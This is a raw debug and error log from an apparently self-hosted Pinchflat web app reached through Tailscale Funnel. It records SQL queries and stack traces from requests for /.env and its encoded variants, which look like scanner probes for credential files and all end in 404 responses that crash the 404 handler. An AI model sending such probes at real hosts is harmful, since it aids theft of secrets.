OR duration_seconds <= s1."max_duration_seconds"))) [] 23:35:15.173 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:35:15.173 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 23:35:15.174 [info] Sent 200 in 9ms 23:35:15.501 [info] GET /.env 23:35:15.502 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=331.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:15.503 [debug] QUERY OK source="settings" db=0.1ms idle=331.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:15.503 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:15.504 [error] #PID<0.3169.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3169.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdNjUJSz08Y4AAO7B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3169.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdNjUJSz08Y4AAO7B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb (truncated) 23:35:15.862 [info] GET /%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js 23:35:15.863 [debug] QUERY OK source="settings" db=0.2ms idle=689.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:15.863 [debug] QUERY OK source="settings" db=0.1ms idle=689.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:15.863 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:15.863 [error] #PID<0.3171.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d" ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%22/assets/app-521b5c83d8b2f79295a25943104e99d5 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "vsn=d\"", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3171.0>, params: %{"vsn" => "d\""}, path_info: ["%22", "assets", "app-521b5c83d8b2f79295a25943104e99d5"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"vsn" => "d\""}, query_string: "vsn=d\"", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdO5TthCZrWIAAO8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "vsn=d\"", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%22/assets/app-521b5c83d8b2f79295a25943104e99d5 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%22/assets/app-521b5c83d8b2f79295a25943104e99d5.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "vsn=d\"", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3171.0>, params: %{"vsn" => "d\""}, path_info: ["%22", "assets", "app-521b5c83d8b2f79295a25943104e99d5"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"vsn" => "d\""}, query_string: "vsn=d\"", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, { (truncated) 23:35:15.949 [info] GET /%2eenv 23:35:15.950 [debug] QUERY OK source="settings" db=0.2ms idle=446.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:15.950 [debug] QUERY OK source="settings" db=0.1ms idle=446.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:15.950 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:15.950 [error] #PID<0.3172.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 5) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /%2eenv ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%2eenv (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2eenv", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3172.0>, params: %{}, path_info: ["%2eenv"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/%2eenv", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdPOD7KqrPrsAAO9B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2eenv", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%2eenv (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2eenv", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3172.0>, params: %{}, path_info: ["%2eenv"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/%2eenv", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdPOD7KqrPrsAAO9B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil (truncated) 23:35:16.064 [info] GET /%2f%2eenv 23:35:16.065 [debug] QUERY OK source="settings" db=0.3ms idle=251.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.065 [debug] QUERY OK source="settings" db=0.1ms idle=202.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.065 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:16.065 [error] #PID<0.3173.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 6) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /%2f%2eenv ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%2f%2eenv (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2f%2eenv", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3173.0>, params: %{}, path_info: ["%2f%2eenv"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/%2f%2eenv", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdPpeuBj2XjQAAO-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, 